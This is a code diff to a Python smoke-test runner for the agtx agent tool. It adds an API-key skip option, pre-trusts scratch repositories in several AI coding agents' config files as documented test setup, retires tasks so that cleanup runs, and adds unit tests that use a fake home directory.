+ An agent with an empty `api_key_env` can never satisfy this: it has no verified
+ env-var auth path, so it cannot run unattended at all. That is a `SKIP` with a
+ reason, which is the honest outcome β€” better than a case that burns the whole
+ phase timeout and reports `AUTH` five minutes later.
+ """
+ return any(os.environ.get(v) for v in (agent.get("api_key_env") or []))
+
+
def plugin_prereq(plugin: dict) -> str | None:
"""Why this plugin cannot run against a scratch repo, or None.
@@ -343,6 +367,7 @@ def plan_cases(
agents_arg: str,
plugins_arg: str,
force: bool = False,
+ require_api_key: bool = False,
) -> list[Case]:
"""Build the case list, marking every excluded case with a visible reason.
@@ -383,6 +408,12 @@ def plan_cases(
Case(agent_name, plugin_name, f"{agent['binary']} not installed")
)
continue
+ if require_api_key and not agent_api_key_present(agent):
+ names = " / ".join(agent.get("api_key_env") or []) or "no known env var"
+ cases.append(
+ Case(agent_name, plugin_name, f"no API key in env ({names})")
+ )
+ continue
supported = plugin.get("supported_agents") or []
if supported and agent_name not in supported:
cases.append(
@@ -452,12 +483,107 @@ def trust_project(agtx_bin: str, repo: Path) -> None:
"""Trust the scratch repo's own config.
This trusts *agtx's* project config, which is what gates plugin init scripts
- and copy_files. It deliberately does **not** touch any agent's trust state β€”
- the agent dialogs are the thing under test.
+ and copy_files. Agent trust is a separate thing β€” see `setup_agent_trust`.
"""
run([agtx_bin, "trust"], cwd=repo)
+# How each agent records that a directory is trusted, and whether a trusted
+# ancestor covers what lies beneath it. Mirrors `src/agent/trust.rs`; the runner
+# writes these directly rather than driving each agent's dialog, because this is
+# **setup**, not the thing under test.
+AGENT_TRUST_STORES = {
+ "claude": "claude",
+ "codex": "codex",
+ "gemini": "gemini",
+ "antigravity": "antigravity",
+}
+
+
+def setup_agent_trust(agent: str, repo: Path) -> bool:
+ """Trust the scratch repo *root* for `agent`, as a user would before using agtx.
+
+ This is the step that makes Check 4 mean something. Every scratch repo is a
+ fresh `mkdtemp` path, so without it every agent opens on its first-launch
+ trust dialog and "parked on a dialog" is the expected state β€” which is exactly
+ the noise that let two undeclared-dialog bugs hide. With the root trusted, a
+ dialog appearing during a *task* is a real defect.
+
+ It also turns the run into a test of the inheritance property itself: claude,
+ codex and gemini trust the root and their worktrees inherit it, so a dialog in
+ a worktree means that stopped being true. antigravity matches exactly and never
+ inherits, so agtx must seed each worktree from this consent β€” if that seeding
+ breaks, its cases park and the run says so.
+
+ Returns whether anything was written. cursor and grok pass `--trust` at launch,
+ opencode has no trust gate, and copilot is unmeasured β€” nothing to set up, and
+ nothing to guess at.
+ """
+ kind = AGENT_TRUST_STORES.get(agent)
+ if kind is None:
+ return False
+ home = Path.home()
+ root = str(repo.resolve())
+ if kind == "claude":
+ path = home / ".claude.json"
+ data = json.loads(path.read_text()) if path.exists() else {}
+ data.setdefault("projects", {}).setdefault(root, {})["hasTrustDialogAccepted"] = True
+ atomic_write_json(path, data)
+ elif kind == "codex":
+ path = home / ".codex" / "config.toml"
+ path.parent.mkdir(parents=True, exist_ok=True)
+ body = path.read_text() if path.exists() else ""
+ header = f'[projects."{root}"]'
+ if header not in body:
+ path.write_text(body + f'\n{header}\ntrust_level = "trusted"\n')
+ elif kind == "gemini":
+ path = home / ".gemini" / "trustedFolders.json"
+ path.parent.mkdir(parents=True, exist_ok=True)
+ data = json.loads(path.read_text()) if path.exists() else {}
+ # gemini lowercases what it stores.
+ data[root.lower()] = "TRUST_FOLDER"
+ atomic_write_json(path, data)
+ elif kind == "antigravity":
+ path = home / ".gemini" / "antigravity-cli" / "settings.json"
+ path.parent.mkdir(parents=True, exist_ok=True)
+ data = json.loads(path.read_text()) if path.exists() else {}
+ entries = data.setdefault("trustedWorkspaces", [])
+ if root not in entries:
+ entries.append(root)
+ atomic_write_json(path, data)
+ return True
+
+
+def trust_store_lists(agent: str, path: Path) -> bool | None:
+ """Whether `agent`'s trust store still lists `path` exactly.
+
+ `None` for agents with no store agtx seeds. Only the exact-match store
+ (antigravity) is meaningful here: the others record an ancestor, which agtx
+ neither wrote nor prunes.
+ """
+ if AGENT_TRUST_STORES.get(agent) != "antigravity":
+ return None
+ store = Path.home() / ".gemini" / "antigravity-cli" / "settings.json"
+ if not store.exists():
+ return False
+ try:
+ entries = json.loads(store.read_text()).get("trustedWorkspaces", [])
+ except (json.JSONDecodeError, OSError):
+ return False
+ return str(path.resolve()) in entries or str(path) in entries
+
+
+def atomic_write_json(path: Path, data) -> None:
+ """Write JSON via a temp file and a rename.
+
+ These are live config files the agents rewrite wholesale; a partial write is
+ visible to them.
+ """
+ tmp = path.with_suffix(path.suffix + f".agtx-smoke{os.getpid()}")
+ tmp.write_text(json.dumps(data, indent=2))
+ tmp.replace(path)
+
+
# ---------------------------------------------------------------------------
# tmux
# ---------------------------------------------------------------------------
@@ -842,6 +968,9 @@ class CaseResult:
phases: list[PhaseResult] = field(default_factory=list)
seconds: float = 0.0
workdir: str = ""
+ # Set when retiring the task to Done went wrong β€” reported, but never allowed
+ # to overwrite the phase outcome the case is actually about.
+ cleanup_note: str = ""
@property
def phase_reached(self) -> str:
@@ -1005,12 +1134,18 @@ class CaseRunner:
def run(self) -> CaseResult:
started = time.monotonic()
res = CaseResult(self.case.agent, self.case.plugin, PASS)
+ # Bound before the try so teardown can still retire a task created just
+ # before something threw.
+ task_id: str | None = None
+ worktree: Path | None = None
try:
slug = f"{self.case.agent}-{self.case.plugin}"
self.repo = make_scratch_repo(self.workdir, slug)
res.workdir = str(self.repo)
write_project_config(self.repo, self.case.agent, self.case.plugin)
trust_project(self.opts.agtx_bin, self.repo)
+ if setup_agent_trust(self.case.agent, self.repo):
+ self.log(f"trusted repo root for {self.case.agent} (setup, not under test)")
self.log(f"scratch repo at {self.repo}")
start_tui(self.session, self.repo, self.opts.agtx_bin)
@@ -1073,6 +1208,13 @@ class CaseRunner:
res.outcome = ERROR
res.reason = f"{type(exc).__name__}: {exc}"
finally:
+ # Retire before tearing anything down: the TUI has to be alive to
+ # process the transition, and the MCP client is how it is asked.
+ if self.mcp and task_id and not self.opts.keep_sessions:
+ note = self.retire_task(task_id, worktree)
+ if note:
+ self.log(f"cleanup: {note}")
+ res.cleanup_note = note
if self.mcp:
self.mcp.close()
if not self.opts.keep_sessions and self.repo:
@@ -1080,6 +1222,39 @@ class CaseRunner:
res.seconds = time.monotonic() - started
return res
+ def retire_task(self, task_id: str, worktree: Path | None) -> str | None:
+ """Drive the task to Done, so the real cleanup path runs.
+
+ Deleting the scratch repo is not the same as finishing a task: worktree
+ removal, `cleanup_script` and the agent-trust prune all hang off
+ `cleanup_task_for_done`. Without this the runner exercised none of them,
+ and every run left the seeded worktree behind in antigravity's
+ `trustedWorkspaces` β€” which is how the omission was noticed.
+
+ Returns a note when something looks wrong, otherwise `None`. Never raises:
+ a problem here is worth reporting but must not overwrite the outcome of
+ the phases, which are what the case is actually about.
+ """
+ seeded_before = worktree is not None and trust_store_lists(self.case.agent, worktree)
+ try:
+ for _ in range(len(PHASE_STATUS) + 1):
+ task = self.mcp.call("get_task", task_id=task_id)
+ if task.get("status") == "done":
+ break
+ self.move_forward(task_id)
+ else:
+ return "task never reached done"
+ except (McpError, TimeoutError, RuntimeError, OSError) as exc:
+ return f"retire failed: {type(exc).__name__}: {exc}"
+
+ # The prune only means something where agtx seeded in the first place.
+ if seeded_before and trust_store_lists(self.case.agent, worktree):
+ return (
+ f"{self.case.agent} trust entry for the worktree survived Done β€” "
+ "agent::trust::forget did not prune it"
+ )
+ return None
+
def apply_park_expectation(self, res: CaseResult) -> CaseResult:
"""Re-label the antigravity-shaped outcome: delivered, then parked."""
if self.case.agent not in EXPECTED_PARK_AGENTS:
@@ -1136,6 +1311,10 @@ def report(results: list[CaseResult]) -> None:
)
if r.reason:
print(f" {r.reason}")
+ if r.cleanup_note:
+ # Separate from the outcome on purpose: the phases passed, but
+ # finishing the task did not do what it should.
+ print(f" cleanup: {r.cleanup_note}")
print()
print("checks: 1 submitted 2 skill-ran 3 artifact 4 usable "
"(βœ“ pass βœ— fail ? unknown – n/a)")
@@ -1229,6 +1408,13 @@ def parse_args(argv: list[str] | None = None) -> argparse.Namespace:
p.add_argument("--transition-timeout", type=int, default=180)
p.add_argument("--keep-sessions", action="store_true", help="leave tmux sessions running")
p.add_argument("--clean", action="store_true", help="delete scratch repos on success")
+ p.add_argument(
+ "--require-api-key",
+ action="store_true",
+ help="skip agents with no provider API key in the environment "
+ "(for CI: a missing key becomes an immediate SKIP with a reason, "
+ "rather than a case that burns the phase timeout and reports AUTH)",
+ )
p.add_argument(
"--force-unsupported",
action="store_true",
@@ -1259,7 +1445,13 @@ def main(argv: list[str] | None = None) -> int:
return 2
matrix = load_matrix(opts.cargo)
- cases = plan_cases(matrix, opts.agents, opts.plugins, opts.force_unsupported)
+ cases = plan_cases(
+ matrix,
+ opts.agents,
+ opts.plugins,
+ opts.force_unsupported,
+ opts.require_api_key,
+ )
if not cases:
print("no cases to run", file=sys.stderr)
return 2
diff --git a/tests/smoke/test_agent_smoke.py b/tests/smoke/test_agent_smoke.py
index f2dab11..8520e3a 100644
--- a/tests/smoke/test_agent_smoke.py
+++ b/tests/smoke/test_agent_smoke.py
@@ -17,6 +17,7 @@ Everything here is deterministic β€” no tmux, no agent binaries, no auth.
"""
import argparse
+import json
import os
import shutil
import tempfile
@@ -570,5 +571,126 @@ class Args(unittest.TestCase):
)
+
+class AgentTrustSetup(unittest.TestCase):
+ """`setup_agent_trust` writes the store each agent actually reads.
+
+ Written against the shapes measured on a live machine, and against a fake
+ HOME so a test run never edits the developer's real agent config.
+ """
+
+ def setUp(self):
+ self.home = tempfile.mkdtemp()
+ self._real_home = os.environ.get("HOME")
+ os.environ["HOME"] = self.home
+ self.repo = Path(tempfile.mkdtemp()) / "proj"
+ self.repo.mkdir(parents=True)
+
+ def tearDown(self):
+ if self._real_home is not None:
+ os.environ["HOME"] = self._real_home
+ shutil.rmtree(self.home, ignore_errors=True)
+
+ def test_claude_records_the_project_root(self):
+ self.assertTrue(smoke.setup_agent_trust("claude", self.repo))
+ data = json.loads((Path(self.home) / ".claude.json").read_text())
+ entry = data["projects"][str(self.repo.resolve())]
+ self.assertTrue(entry["hasTrustDialogAccepted"])
+
+ def test_gemini_stores_a_lowercased_path(self):
+ self.assertTrue(smoke.setup_agent_trust("gemini", self.repo))
+ data = json.loads((Path(self.home) / ".gemini" / "trustedFolders.json").read_text())
+ self.assertEqual(data[str(self.repo.resolve()).lower()], "TRUST_FOLDER")
+
+ def test_codex_appends_a_trusted_project_section(self):
+ self.assertTrue(smoke.setup_agent_trust("codex", self.repo))
+ body = (Path(self.home) / ".codex" / "config.toml").read_text()
+ self.assertIn(f'[projects."{self.repo.resolve()}"]', body)
+ self.assertIn('trust_level = "trusted"', body)
+
+ def test_antigravity_appends_to_the_workspace_list(self):
+ self.assertTrue(smoke.setup_agent_trust("antigravity", self.repo))
+ p = Path(self.home) / ".gemini" / "antigravity-cli" / "settings.json"
+ self.assertIn(str(self.repo.resolve()), json.loads(p.read_text())["trustedWorkspaces"])
+
+ def test_it_is_idempotent(self):
+ smoke.setup_agent_trust("antigravity", self.repo)
+ smoke.setup_agent_trust("antigravity", self.repo)
+ p = Path(self.home) / ".gemini" / "antigravity-cli" / "settings.json"
+ entries = json.loads(p.read_text())["trustedWorkspaces"]
+ self.assertEqual(entries.count(str(self.repo.resolve())), 1)
+
+ def test_existing_entries_survive(self):
+ p = Path(self.home) / ".gemini" / "antigravity-cli" / "settings.json"
+ p.parent.mkdir(parents=True)
+ p.write_text(json.dumps({"trustedWorkspaces": ["/somewhere/else"]}))
+ smoke.setup_agent_trust("antigravity", self.repo)
+ entries = json.loads(p.read_text())["trustedWorkspaces"]
+ self.assertIn("/somewhere/else", entries)
+
+ def test_flag_based_and_unmeasured_agents_write_nothing(self):
+ for agent in ("cursor", "grok", "opencode", "copilot"):
+ with self.subTest(agent=agent):
+ self.assertFalse(smoke.setup_agent_trust(agent, self.repo))
+ self.assertEqual(os.listdir(self.home), [])
+
+ def test_the_store_table_covers_every_agent_agtx_seeds(self):
+ """Kept in step with `src/agent/trust.rs` β€” a new store there needs one here."""
+ self.assertEqual(
+ set(smoke.AGENT_TRUST_STORES),
+ {"claude", "codex", "gemini", "antigravity"},
+ )
+
+
+
+class RetireAndPrune(unittest.TestCase):
+ """Retiring the task to Done is what exercises `agent::trust::forget`.
+
+ Deleting the scratch repo is not the same as finishing a task: worktree
+ removal, `cleanup_script` and the trust prune all hang off
+ `cleanup_task_for_done`. Before this the runner exercised none of them, and
+ every smoke run left a seeded entry behind in antigravity's store.
+ """
+
+ def setUp(self):
+ self.home = tempfile.mkdtemp()
+ self._real_home = os.environ.get("HOME")
+ os.environ["HOME"] = self.home
+ self.wt = Path(tempfile.mkdtemp()) / "wt"
+ self.wt.mkdir(parents=True)
+
+ def tearDown(self):
+ if self._real_home is not None:
+ os.environ["HOME"] = self._real_home
+ shutil.rmtree(self.home, ignore_errors=True)
+
+ def _write_workspaces(self, entries):
+ p = Path(self.home) / ".gemini" / "antigravity-cli" / "settings.json"
+ p.parent.mkdir(parents=True, exist_ok=True)
+ p.write_text(json.dumps({"trustedWorkspaces": entries}))
+
+ def test_it_sees_a_seeded_entry(self):
+ self._write_workspaces([str(self.wt.resolve())])
+ self.assertTrue(smoke.trust_store_lists("antigravity", self.wt))
+
+ def test_it_sees_a_pruned_entry_is_gone(self):
+ self._write_workspaces(["/somewhere/else"])
+ self.assertFalse(smoke.trust_store_lists("antigravity", self.wt))
+
+ def test_a_missing_store_is_not_an_error(self):
+ self.assertFalse(smoke.trust_store_lists("antigravity", self.wt))
+
+ def test_a_corrupt_store_is_not_an_error(self):
+ p = Path(self.home) / ".gemini" / "antigravity-cli" / "settings.json"
+ p.parent.mkdir(parents=True, exist_ok=True)
+ p.write_text("{not json")
+ self.assertFalse(smoke.trust_store_lists("antigravity", self.wt))
+
+ def test_inheriting_agents_have_nothing_to_check(self):
+ """agtx never wrote their entries, so it must not claim to prune them."""
+ for agent in ("claude", "codex", "gemini", "cursor", "grok", "opencode"):
+ with self.subTest(agent=agent):
+ self.assertIsNone(smoke.trust_store_lists(agent, self.wt))
+
if __name__ == "__main__":
unittest.main(verbosity=2)